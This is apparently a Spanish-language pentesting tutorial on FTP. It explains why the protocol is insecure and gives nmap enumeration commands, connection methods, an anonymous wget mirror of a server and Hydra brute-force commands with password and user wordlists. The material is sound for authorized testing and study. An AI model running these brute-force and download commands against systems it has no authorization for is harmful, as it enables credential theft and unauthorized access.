FTP Penetration Testing

Mi Foto

Puerto por default: 20/21

¿Qué es FTP?

FTP (File Transfer Protocol) es un protocolo de red de la capa de aplicación(modelo OSI) diseñado para transferir archivos entre un cliente y un servidor en una red TCP/IP.

¿Para qué se usa?

Principalmente para subir, descargar, listar y gestionar archivos en servidores remotos.

Consideración de seguridad:

FTP es inseguro por diseño, ya que:

--------- > Puede ser interceptado fácilmente por ataques MITM o sniffing.

--------- > Transmite datos y credenciales en texto claro.

Alternativas seguras:

--------- > FTPS: FTP con TLS.

--------- > SFTP: No es FTP; es FTP sobre SSH (protocolo totalmente distinto y más seguro).

interactuar con FTP

Puedes realizar enumeracion manual utilizando NMAP:

    find / -type f -name "ftp*" 2>/dev/null | grep scripts
    sudo nmap --script "*FTP*" -p20,21 IP
    sudo nmap -sV -p21 -sC -A IP
                                

Una de las formas comunes para interactuar con FTP es con la herramienta ftp, que se instala desde linux con el sigueinte comando:

    sudo apt install ftp
                                

En una instancia regular de FTP, puedes conectarte usando ftp o usar telnel:

    ftp IP 
    nc -nv IP 21 
    telnet IP 21
                                

Descargar todos los archivos dentro del servidor FTP

    wget -m --no-passive ftp://anonymous:anonymous@IP
                                

Conectarse al servidor FTP con TLS/SSL

    openssl s_client -connect IP:21 -starttls ftp
                                

Ahora que entendemos que es FTP y como podemos interactual con el, vamos a pasar a la explotacion de FTP

Fuerza bruta sobre servicio FTP con Hydra

Se puede utilizar la herramienta hydra para realizar ataques de fuerza bruta sobre el protocolo FTP

Flujo del ataque


    # Cuando se tiene usuario valido
    $ hydra -l admin -P /diccionario_de_passwds.txt ftp://IP -VV -f -t 20
    # Cuando se tiene un passwd valido           
    $ hydra -L /diccionario_de_usuarios -p P@ssw0r1  ftp://IP -VV -f -t 20
    #Cundo no se tiene ningun dato valido
    $ hydra -L /diccionario_de_usuarios -P /diccionario_de_passwds.txt ftp://IP -VV -f -t 20
    
                                

Es importante ver la respuesta del servidor ya que en ocasiones el servidor bloquea los intentos de autenticaciones y no permite realizar ataques de fuerza brute, mide el rango de peticiones por segundo

... espera las actualizaciones😎

Redes Sociales